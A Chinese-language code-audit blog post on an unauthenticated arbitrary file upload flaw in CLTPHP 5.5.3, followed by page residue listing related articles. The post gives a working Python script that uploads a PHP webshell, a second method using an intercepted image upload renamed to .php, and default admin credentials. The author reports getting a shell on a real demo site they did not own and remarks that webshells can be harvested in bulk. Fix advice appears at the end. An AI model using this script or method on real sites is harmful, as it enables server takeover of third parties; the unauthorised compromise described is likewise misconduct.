【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞
0x00 环境准备
CLTPHP官网:http://www.cltphp.com
网站源码版本:CLTPHP内容管理系统5.5.3版本
程序源码下载:https://gitee.com/chichu/cltphp
默认后台地址: http://127.0.0.1/admin/login/index.html
默认账号密码: 后台登录名:admin 密码:admin123
测试网站首页:


0x01 代码分析
1、漏洞文件位置:/app/user/controller/UpFiles.php 第5-25行:


在这段函数中,未经用户权限验证,获取表单内容,存在越权绕过上传的情况。我们继续跟进move函数:
2、文件位置:/think/library/think/File.php 第329-377行:


在这段函数中,经过一系列检测后上传文件,我们重点来看一下check验证上传函数。
3、文件位置:/think/library/think/File.php 第218-245行:


在check函数中检查文件大小、Mime类型、文件后缀等,主要是从数组中获取,函数未带入参数rule,故采用默认值,我们看一下rule的值


在同文件中$rule默认值为date,调用ThinkPHP的上传函数,但配置不当导致过滤函数chenk无效,导致程序在实现存在任意文件上传漏洞,攻击者无需任何权限,可直接上传恶意脚本,控制网站服务器权限。
0x02 漏洞利用
利用方式一:
1、 通过编写Python脚本,模拟Ajax 异步请求, Python’脚本如下:
#!/usr/bin/python #-*- coding: UTF-8 -*- import requests header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' , 'X-Requested-With': 'XMLHttpRequest',} url = "http://127.0.0.1/user/upFiles/upload" files ={'file':('1.php',open('1.php','rb'),'image/jpeg')} res = requests.post(url, files=files,headers=header) print res.text
2、在同一目录下放置脚本和1.php文件名的小马,运行Python脚本,成功上传木马并返回路径。


3、访问url,成功getshell


某demo演示站点已getshell
1、修改url地址,运行Python脚本,获取一句话上传路径


2、成功控制网站服务器,未深入,仅截图作为演示。
另外,通过该漏洞可批量获取webshell,具体要看用户量多少了。


利用方式二:
1、在前台注册一个用户test,登录会员中心


2、在会员中心—设置—上传图片马(包含一句话)—抓包改包为php后缀名




3、访问shell地址,成功获取网站权限
http://127.0.0.1/public/uploads/20180309/64a211154e71c05795a9f901860b62b9.php


0x03 修复建议
1、添加上传页面的认证,通过白名单限制上传文件后缀;
2、禁止上传目录脚本执行权限。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞的更多相关文章
- 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 代码审计之XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【原创】JEECMS v6~v7任意文件上传漏洞(1)
文章作者:rebeyond 受影响版本:v6~v7 漏洞说明: JEECMS是国内Java版开源网站内容管理系统(java cms.jsp cms)的简称.该系统基于java技术开发,继承其强大.稳定 ...
- PHP任意文件上传漏洞CVE-2015-2348浅析
昨晚安全新闻爆出一个“PHP任意文件上传漏洞”,CVE编号为:CVE-2015-2348. 当时楼主正准备收拾东西回家,看到这个新闻心里一惊:失传江湖多年的0字符截断上传漏洞又重现了?而且还影响这么多 ...
- phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)
phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...
- 中国电信某站点JBOSS任意文件上传漏洞
1.目标站点 http://125.69.112.239/login.jsp 2.简单测试 发现是jboss,HEAD请求头绕过失败,猜测弱口令失败,发现没有删除 http://125.69.112. ...
- CKFinder 1.4.3 任意文件上传漏洞
CKFinder 是国外一款非常流行的所见即所得文字编辑器,其1.4.3 asp.net版本存在任意文件上传漏洞,攻击者可以利用该漏洞上传任意文件. CKFinder在上传文件的时候,强制将文件名(不 ...
随机推荐
- C++中构造函数,拷贝构造函数和赋值函数的区别和实现
C++中一般创建对象,拷贝或赋值的方式有构造函数,拷贝构造函数,赋值函数这三种方法.下面就详细比较下三者之间的区别以及它们的具体实现 1.构造函数 构造函数是一种特殊的类成员函数,是当创建一个类的对象 ...
- 关于Unity中的小案例之运动的小船以及摄像机跟随技术(专题五)
实例步骤 1.创建Unity项目和文件目录,保存场景 场景搭建 2.导入美术做好的资源包(第68) a: 导入地形资源包terrain.unitypackage,把里面的Map/Prefabs/Ter ...
- lapacke svd实例
参考 intel MTK实例 https://software.intel.com/sites/products/documentation/doclib/mkl_sa/11/mkl_lapack_e ...
- (笔记)Linux下怎么安装tar.gz的软件
一般这种的就是源代码.先下载下来.然后cd到下载目录.用tar xvfz XXX.tar.gz的解压.然后进入解压后的目录. 打./configure生成配置文件.打make对源代码进行编译,生成库和 ...
- Maven POM
POM代表项目对象模型.它是 Maven 中工作的基本单位,这是一个 XML 文件.它始终保存在该项目基本目录中的 pom.xml 文件.POM 包含的项目是使用 Maven 来构建的,它用来包含各种 ...
- Java中的Swing及AWT又称GUI编程
Java中的Swing及AWT又称GUI编程. 关于学习Java要不要学Swing及AWT,这个完全取决于个人的开发及发展方向. 如果从事web方向的开发,则可以不用学习Swing及AWT. 如果从事 ...
- Oracle两个数据库互相访问,DBLink使用-转
测试条件:假设某公司总部在北京,新疆有其下属的一个分公司.在本次测试中,新疆的计算机为本地计算机,即本要的IP地址为:192.168.1.100 北京的总部有一个集中的数据库,其SID是SIDBJ,用 ...
- VS 调试 无法启动IIS Express Web 服务器(进程不存在)
拷贝VS2015项目 出现无法启动IIS Express Web 服务器 一.把你们拷贝刀本机的解决方案文件中的隐藏文件夹.vs删除掉 重新生产解决方案就可以启动iis express了.
- YII2常用数据库操作
//1.简单查询 $admin=Admin::model()->findAll($condition,$params); $admin=Admin::model()->findAll(&q ...
- SOFA企业应用框架
前言 从业这么多年,接触过银行的应用,Apple的应用,eBay的应用和现在阿里的应用,虽然分属于不同的公司,使用了不同的架构,但有一个共同点就是都很复杂.导致复杂性的原因有很多,如果从架构的层面看, ...